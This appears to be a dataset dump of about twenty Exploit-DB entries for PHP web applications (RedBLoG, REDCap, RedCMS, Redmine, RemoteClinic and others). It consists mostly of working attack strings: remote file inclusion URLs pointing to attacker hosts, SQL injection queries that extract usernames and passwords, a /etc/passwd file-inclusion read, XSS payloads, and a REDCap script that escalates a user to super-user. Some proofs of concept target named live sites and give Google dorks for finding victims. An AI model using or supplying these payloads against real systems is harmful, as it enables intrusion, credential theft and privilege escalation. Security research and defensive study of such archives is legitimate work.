deardaniel/secdata-raw huggingface dataset:
Exploit-DB #28611
Description: RedBLoG 0.5 - 'imgen.php?Root' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-19
Author: Root3r_H3ll

Exploit:
source: https://www.securityfocus.com/bid/20115/info

The redblog application is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/Path/imgen.php?root=http://www.example.com
Exploit-DB #28423
Description: RedBlog 0.5 - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-22
Author: Root3r_H3ll

Exploit:
source: https://www.securityfocus.com/bid/19658/info

RedBLoG is prone a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects version 0.5; other versions may also be vulnerable.

http://www.example.com/[Path]/index.php?root_path==http://evil_scripts?
Exploit-DB #41517
Description: Redbus Clone Script 3.05 - 'hid_Busid' SQL Injection
Type: webapps
Platform: php
Date: 2017-03-06
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Redbus Clone Script v3.05 - SQL Injection
# Google Dork: N/A
# Date: 06.03.2017
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software : http://www.phpscriptsmall.com/product/redbus-clone/
# Demo: http://198.38.86.159/~materialmag/demo/redbus-clone-responsive/
# Version: 3.05
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/available_seat.php?hid_Busid=[SQL]
# # # # #
Exploit-DB #50877
Description: REDCap 11.3.9 - Stored Cross Site Scripting
Type: webapps
Platform: php
Date: 2022-04-19
Author: Kendrick Lam

Exploit:
# Exploit Title: REDCap 11.3.9 - Stored Cross-Site Scripting
# Date: 2021-10-11
# Exploit Author: Kendrick Lam 
# References: https://github.com/KCL04/XSS-PoCs/blob/main/CVE-2021-42136.js
# Vendor Homepage: https://projectredcap.org
# Software Link: https://projectredcap.org
# Version: Redcap before 11.4.0
# Tested on: 11.2.5
# CVE: CVE-2021-42136
# Security advisory: https://redcap.med.usc.edu/_shib/assets/ChangeLog_Standard.pdf

### Stored XSS – Missing Data Code Value (found by Kendrick Lam)

It was possible to store JavaScript as values for Missing Data Codes.

- Where: Missing Data Code.
- Payload: 
		<script>
		var target = document.location.host;
		var csrf_token = csrf_token;
		var userId = '<userId>'; // Replace with your user ID.

		function privesc()
		{
			var xhr = new XMLHttpRequest();
			xhr.open("POST", "https://" + target + "/index.php?route=ControlCenterController:saveNewAdminPriv", true);
			xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
			xhr.setRequestHeader("Sec-Fetch-Dest", "empty");
			xhr.withCredentials = "true";
			var body = "";
			body += "userid=" + userId + "&attrs=admin_rights%2Csuper_user%2Caccount_manager%2Caccess_system_config%2Caccess_system_upgrade%2Caccess_external_module_install%2Caccess_admin_dashboards&csrf_token=" + csrf_token;
			xhr.send(body);
			return true;
		}

		privesc();
		</script>
- Details: The payload will escalate a regular user's privileges, if viewed by an account with permission to change privileges (such as an administrator).
- Privileges: Low privileged / regular user
- Location example: https://redcap.XXX/redcap/redcap_vv11.2.5/Design/data_dictionary_codebook.php?pid=XX

- Privileges:
  + Store: Low privileged user is able to store Missing Data Code values.
  + Execute: Any authenticated user. The payload will trigger once the page loads, this means storing the payload and sending over the link to an administrator would be able to escalate the user's privileges. For example, by browsing to https://redcap.XXX/redcap/redcap_vv11.2.5/Design/data_dictionary_codebook.php?pid=XX
Exploit-DB #10043
Description: redcat media - SQL Injection
Type: webapps
Platform: php
Date: 2009-10-02
Author: s4va

Exploit:
[x]==========================================[x]
|             AntiSecurity[dot]org           |
[x]==========================================[x]
[x]==========================================[x]

| Title            : redcat media (inurl:index.php?contentId=) SQL Injection Vulnerability
| Vendor           : http://www.redcatmedia.co.uk/
| Date             : 2 oktober 2009 ( Indonesia )
| Author           : s4va
| Contact          : sava_sword@yahoo.com
| Blog             : http://s4vaworld.uni.cc

[x]==========================================[x]

| Dork : "Powered by RedCat" inurl:index.php?contentId=

[x]==========================================[x]

| Exploit
| http://target/index.php?contentId=[sql]

[x]==========================================[x]

| Proof of concept
|
http://www.5ringstelecom.com/index.php?contentId=-26%20union%20select%201,version%28%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--

[x]==========================================[x]

| THX TO:
|blackstar ; x-shadow ; cr4wl3r ; bl4ck_3n91n3 ; k0il ; inc0mp13te ; n0c0py
|thund3r-x2 ; dimm net ; jack- ; c0li ; zxvf ; Oon_Boy ; NoGe ; Kecemplungkalen ; angel
|skay kyu ; t3cm4n ; indounderground ; nyubiz ; n1nj4_blu3 ; qu4ck ; mad0nk
|^cyber_tomat^ ; odod ; atan6 ; th3k1llr3j45q ; em|nem
|mainhack brotherhood ; HipHopHeroes(dot)net ; antisecurity(dot)org N ALL WHO
SUPPORT ME

[x]==========================================[x]
Exploit-DB #27539
Description: RedCMS 0.1 - 'login.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-03-31
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/17336/info
 
RedCMS is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
The application is prone to HTML-injection and SQL-injection vulnerabilities. A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. Arbitrary script code may also be executed in the browser of an unsuspecting user in the context of the affected site; this may help the attacker steal cookie-based authentication credentials and launch other attacks.

URL: http://www.example.com/redcms/login.php
Username: ' or 1/*
Password: any
Exploit-DB #27538
Description: RedCMS 0.1 - 'profile.php?u' SQL Injection
Type: webapps
Platform: php
Date: 2006-03-31
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/17336/info

RedCMS is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

The application is prone to HTML-injection and SQL-injection vulnerabilities. A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. Arbitrary script code may also be executed in the browser of an unsuspecting user in the context of the affected site; this may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/redcms/profile.php? id=99'% 20union%20select% 201,2,3,4,5, 6,7,8,9,10, 11,12,13,14, 15,161,7,18, 19,20/*
Exploit-DB #27540
Description: RedCMS 0.1 - 'register.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-03-31
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/17336/info
  
RedCMS is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
  
The application is prone to HTML-injection and SQL-injection vulnerabilities. A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. Arbitrary script code may also be executed in the browser of an unsuspecting user in the context of the affected site; this may help the attacker steal cookie-based authentication credentials and launch other attacks.

URL: http://www.example.com/redcms/register.php
Email: aaa'>[XSS]<aaa aaa=';
Location: aaa'>[XSS]<aaa aaa=';
Website: aaa'>[XSS]<aaa aaa=';
Exploit-DB #27098
Description: RedKernel Referrer Tracker 1.1.0-3 - 'Rkrt_stats.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-01-16
Author: Preddy

Exploit:
source: https://www.securityfocus.com/bid/16266/info

Referrer Tracker is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Version 1.1.0-3 is vulnerable; other versions may also be affected. 

http://www.example.com/rkrt_stats.php?refs,,Last_7,0,">[code]
Exploit-DB #17898
Description: redmind Online-Shop / E-Commerce-System - SQL Injection
Type: webapps
Platform: php
Date: 2011-09-27
Author: Indonesian BlackCoder

Exploit:
[#] Exploit Title	: redmind Online-Shop / E-Commerce-System SQL Injection Vulnerability
[#] Google Dork		: "powered by redmind�" or "Entwickelt und betrieben von redmind�"
[#] Software Link	: http://www.redmind.de/online-shop.html
[#] Version		: N/A
[#] Tested on		: Linux IDBlackcoder
[#] Date		: September 28th, 2011
[#] Author		: Mbah_Semar
[#] Homepage		: http://www.blackcoder.or.id | http://www.blackhat.or.id

#####################################################################[ Vulnerable File ]	http://www.example.com/product.php?prodID=[SQLi]
[ Example ]	http://www.example.com/product.php?prodID=9999 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--
#####################################################################
[Thank's to][*] All member and Staff Indonesian Blackcoder[*] My Master : sudden_death (terimakasih atas ilmunya)[*] Special to ex member suramcrew: Kodok ijo, Gisa Maho, Lukas Bling, Pasukan dari Sempax, Zero-Line, Aanz, anharku, hakz
[Note][*] Aku sayang Ibu :)
Exploit-DB #35572
Description: Redmine 1.0.1/1.1.1 - 'projects/hg-hellowword/news/' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-04-06
Author: Mesut Timur

Exploit:
source: https://www.securityfocus.com/bid/47193/info

Redmine is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Redmine 1.0.1 and 1.1.1 are vulnerable; other versions may also be affected. 

http://example.com/projects/hg-helloworld/news/[xss]
Exploit-DB #7552
Description: REDPEACH CMS - SQL Injection
Type: webapps
Platform: php
Date: 2008-12-22
Author: Lidloses_Auge

Exploit:
###############################################################
#
#           REDPEACH CMS - SQL Injection Vulnerability     
#	    http://www.redpeach.de/
#                                                             
#      Vulnerability discovered by: Lidloses_Auge             
#      Greetz to:                   -=Player=- , Suicide, g4ms3, enco,
#                                   Palme, GPM, karamble, Free-Hack
#      Date:                        23.12.2008
#
###############################################################
#                                                             
#      Admin Panel: [Target]/admin/login.php
#      Description: The Files "index.php" and "page.php" contain
#		    vulnerable SQL Querys at the GET Parameter "zv".
#		    In the most cases you need a table prefix, which
#		    is similar to the websites' name, so you can guess.
#		    After table prefix there's "_user".
#		    The important column names are "username" and "password".
#		    The number of columns is 8 almost everytime.
#
#      Example:     http://www.website.com/page.php?pageid=1&zv=null+union+select+concat(username,0x3a,password),2,3,4,5,6,7,8+from+website_user+limit+0,1/*
#                                                             
###############################################################

# milw0rm.com [2008-12-22]
Exploit-DB #9820
Description: Regental Medien - Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-09-24
Author: NoGe

Exploit:
[o] Regental Medien Blind SQL Injection Vulnerability
Software : Regental Medien
Vendor   : http://www.regental-medien.de/
Author   : NoGe
Home     : http://antisecurity.org

[o] Vulnerable file
index.php

[o] Exploit
http://localhost/[path]/index.php?mainid=[SQL]

[o] Proof of Concept
http://demo15.rm-websystem.de/index.php?mainid=9+and+substring(@@version,1,1)=4 << TRUE
http://demo15.rm-websystem.de/index.php?mainid=9+and+substring(@@version,1,1)=5 << FALSE
http://www.innenstadterleben.de/index.php?mainid=30+and+substring(@@version,1,1)=4 << TRUE
http://www.innenstadterleben.de/index.php?mainid=30+and+substring(@@version,1,1)=5 << FALSE

[o] Dork
"powered by regental medien"

[o] Note
this is a private script
all target are in one IP address
Exploit-DB #49713
Description: Regis Inventory And Monitoring System 1.0 - 'Item List' Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2021-03-26
Author: George Tsimpidas

Exploit:
# Title: Regis Inventory And Monitoring System 1.0 - 'Item List' Persistent Cross-Site Scripting
# Exploit Author: George Tsimpidas
# Date: 2021-03-25
# Vendor Homepage: www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/regis_inventory.zip
# Version : 1.0.0
# Tested on: Kali Linux 2020.4
# Category: Webapp

# Description

Regis Inventory And Monitoring System, suffers from a stored cross site scripting on Item's List Category

#PoC

1. Login as admin : http://localhost/regis_inventory/index.php
2. Visit : http://localhost/regis_inventory/item.php
3. Click add a New Item and input your payload on "Generic Name" textbox.

Payload : <script>alert("XSS")</script>

4. After inputting the Item values and submitting the form, it will trigger an XSS pop-up
Exploit-DB #2502
Description: registroTL - 'main.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-10
Author: DarkFig

Exploit:
#
# Title..: 7 php scripts File Inclusion Vuln / Source disclosure
# Credits: DarkFig
# Og.link: http://acid-root.new.fr/poc/13061007.txt
#
# Using http://www.google.com/codesearch
# Few examples about what we can do with a code search engine
# For educational purpose only.
#
# You can use regex in your research, this can be chaotic.
# What's your opinion about the google code search project ?

# Affected.scr: registroTL
# Download....: http://www.phplibre.com.es/downloads/registroTL.zip
# Poc.........: http://victim.com/main.php?page=ftp://hack.com/backdrphpext
#               http://victim.com/usuarios.dat <- Passwords disclosure
# Vuln.code...: if (isset($_GET['page']) && file_exists($_GET['page'].".php"))
#               include($_GET['page'].".php");

# milw0rm.com [2006-10-10]
Exploit-DB #26723
Description: Relative Real Estate Systems 1.2 - SQL Injection
Type: webapps
Platform: php
Date: 2005-12-05
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15714/info

Relative Real Estate Systems is prone to an SQL injection vulnerability.

This issue is due to a failure in the application to properly sanitize user-supplied input to the 'index.php' script before using it in an SQL query.

This vulnerability could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks. 

http://www.example.com/index.php?name=&price_from=&price_to=&city=&state=SC&mls=[SQL]&bathroom=-1&bedrooms=-1&go=search&results=1
Exploit-DB #30697
Description: ReloadCMS 1.2.5 - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-10-20
Author: sekuru

Exploit:
source: https://www.securityfocus.com/bid/26143/info

ReloadCMS is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to execute local scripts or to view arbitrary files that may contain sensitive information that can aid in further attacks. 

http://www.example.com/index.php?module=../../../../etc/passwd
Exploit-DB #24613
Description: Remository - SQL Injection
Type: webapps
Platform: php
Date: 2004-09-18
Author: khoaimi

Exploit:
source: https://www.securityfocus.com/bid/11219/info

It is reported that the ReMOSitory module for Mambo is prone to an SQL injection vulnerability. This issue is due to a failure of the module to properly validate user supplied URI input.

Because of this, a malicious user may influence database queries in order to view or modify sensitive information, potentially compromising the software or the database. It may be possible for an attacker to disclose the administrator password hash by exploiting this issue.

http://www.example.com/index.php?option=com_remository&Itemid=27&func=fileinfo&parent=folder&filecatid=499%20and%201=0[SQL]/*
http://www.example.com/index.php?option=com_remository&Itemid=[id]&func=selectfolder&filecatid=[id]%20and%201=0%20union%20all%20select%201,2,3,4,username,6,password,8,9
,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20from%20mos_users%20where%20usertype=0/*
Exploit-DB #49795
Description: RemoteClinic 2.0 - 'Multiple' Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-04-22
Author: Saud Ahmad

Exploit:
# Exploit Title: RemoteClinic 2.0 - 'Multiple' Stored Cross-Site Scripting (XSS)
# Date: 13/04/2021
# Exploit Author: Saud Ahmad
# Vendor Homepage: https://remoteclinic.io/
# Software Link: https://github.com/remoteclinic/RemoteClinic
# Version: 2.0
# Tested on: Windows 10
# CVE : CVE-2021-30030, CVE-2021-30034, CVE-2021-30039, CVE-2021-30042, CVE-2021-31329

#Steps to Reproduce:

1)Login in Application as Doctor.
2)Register a Patient with Full Name Field as XSS Payload: XSS"><img src=x onerror=alert(`XSS-BY-Saud-Ahmad`)>
3)After Register Patient, go to "Patients" endpoint.
4)XSS Executed.

For Detail POC: https://github.com/remoteclinic/RemoteClinic/issues/1

#Steps to Reproduce:

1)Login in Application as Doctor.
2)Register a Patient.
3)After Register Patient, a page redirect to Register Report Page. 
4)Here is "Symptoms" Field as XSS Payload: XSS"><img src=x onerror=alert(`XSS-BY-Saud-Ahmad`)>
4)After Register Report, Click on home which is "dashboard" endpoint.
5)XSS Executed.

For Detail POC: https://github.com/remoteclinic/RemoteClinic/issues/5

#Steps to Reproduce:

1)Login in Application as Doctor.
2)Register a Patient.
3)After Register Patient, a page redirect to Register Report Page. 
4)When you scroll down page two fields there "Fever" and "Blood Pressure", both are vulnerable to XSS, inject XSS Payload in both Fields: XSS"><img src=x onerror=alert(`XSS-BY-Saud-Ahmad`)>
4)After Register Report, Click on home.
5)Now Click on Report, XSS Executed.

For Detail POC: https://github.com/remoteclinic/RemoteClinic/issues/8

#Steps to Reproduce:

1)Login in Application as Doctor.
2)Register a New Clinic.
3)Here is four fields "Clinic Name", "Clinic Address", "Clinic City" and "Clinic Contact". All are vulnerable to XSS. 
4)Inject XSS Payload in all Fields: XSS"><img src=x onerror=alert(`XSS-BY-Saud-Ahmad`)>
4)Now go to Clinic Directory.
5)Click on that Clinic.
6)XSS Executed.

For Detail POC: https://github.com/remoteclinic/RemoteClinic/issues/11

#Steps to Reproduce:

1)Login in Application as Doctor.
2)Create a New Medicine.
3)Medicine Name Field is Vulnerable to XSS, inject with XSS Payload: XSS"><img src=x onerror=alert(`XSS-BY-Saud-Ahmad`)>
4)But there is client side validation on maxlength but not on server side. 
4)Change maxlength 30 to 100.
5)Click on Register.
6)Now Click on Show All which is /medicines/ endpoint.
7)XSS Executed.

Detail POC: https://github.com/remoteclinic/RemoteClinic/issues/14

#Steps to Reproduce:

1)Login in Application as Doctor.
2)Create a New Staff Member.
3)Here is Chat Field and Personal Address Field are Vulnerable to XSS, inject with XSS Payload: XSS"><img src=x onerror=alert(`XSS-BY-Saud-Ahmad`)>
4)Profile Created.
5)Signout.
6)Now login with that staff member which Chat field and Personal Address field consist of XSS Payload.
7)After Login, go to my profile.
8)XSS Executed.

Detail POC: https://github.com/remoteclinic/RemoteClinic/issues/16
Exploit-DB #34804
Description: Rentventory - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2009-07-07
Author: 599eme Man

Exploit:
source: https://www.securityfocus.com/bid/43692/info

Rentventory is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials; other attacks are also possible.

Rentventory 1.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?Login=<script>alert(&#039;xss&#039;)</script>
http://www.example.com/index.php?Password=<script>alert(&#039;xss&#039;)</script>